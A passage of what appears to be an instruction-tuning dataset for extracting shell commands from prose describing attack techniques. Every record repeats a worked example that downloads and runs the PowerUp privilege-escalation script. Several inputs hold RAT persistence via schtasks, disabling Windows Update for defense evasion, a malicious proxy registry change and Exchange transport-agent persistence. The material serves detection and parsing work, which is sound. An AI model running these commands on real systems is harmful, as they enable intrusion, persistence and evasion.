[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The adversary Octopus drops the RAT dropper ExplorerSync.db via the command: copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f",
    "output": "{\"command_list\": [\"copy %temp%\\\\ExplorerSync.db %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\nschtasks /create /tn ExplorerSync /tr \\\"javaw -jar %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\\" /sc MINUTE /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an infected host generating excessive DNS queries for detection testing, use the following command which requires custom domain parameters: for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \"#{query_type}\" \"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\" -QuickTimeout}\n",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \\\"#{query_type}\\\" \\\"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\\\" -QuickTimeout}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to stop a service and its associated processes, execute this command: sudo pkill -SIGTERM #{process_pattern}",
    "output": "{\"command_list\": [\"sudo pkill -SIGTERM #{process_pattern}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Windows OS auto-update feature, which Redline uses for defense evasion, run the following command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoUpdate\" /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\" /v \\\"NoAutoUpdate\\\" /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, seen in DarkGate malware, modifies the registry to set up a proxy server via the command: reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v ProxyServer /t REG_SZ /d \"proxy.atomic-test.com:8080\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v ProxyServer /t REG_SZ /d \\\"proxy.atomic-test.com:8080\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For emulating the attack where a renamed Microsoft.Workflow.Compiler.exe runs a .Net assembly to launch calc.exe, use this command: &\"#{renamed_binary}\" \"#{xml_payload}\" output.txt",
    "output": "{\"command_list\": [\"&\\\"#{renamed_binary}\\\" \\\"#{xml_payload}\\\" output.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Smart card authentication can be enforced by updating the registry via the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v scforceoption /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v scforceoption /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For persistence via a Microsoft Exchange Transport Agent, first ensure you're executing from an Exchange Client Access Server and have created the required DLL, then run this command:\nInstall-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}\nEnable-TransportAgent #{transport_agent_identity}\nGet-TransportAgent | Format-List Name,Enabled",
    "output": "{\"command_list\": [\"Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}\\nEnable-TransportAgent #{transport_agent_identity}\\nGet-TransportAgent | Format-List Name,Enabled\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All 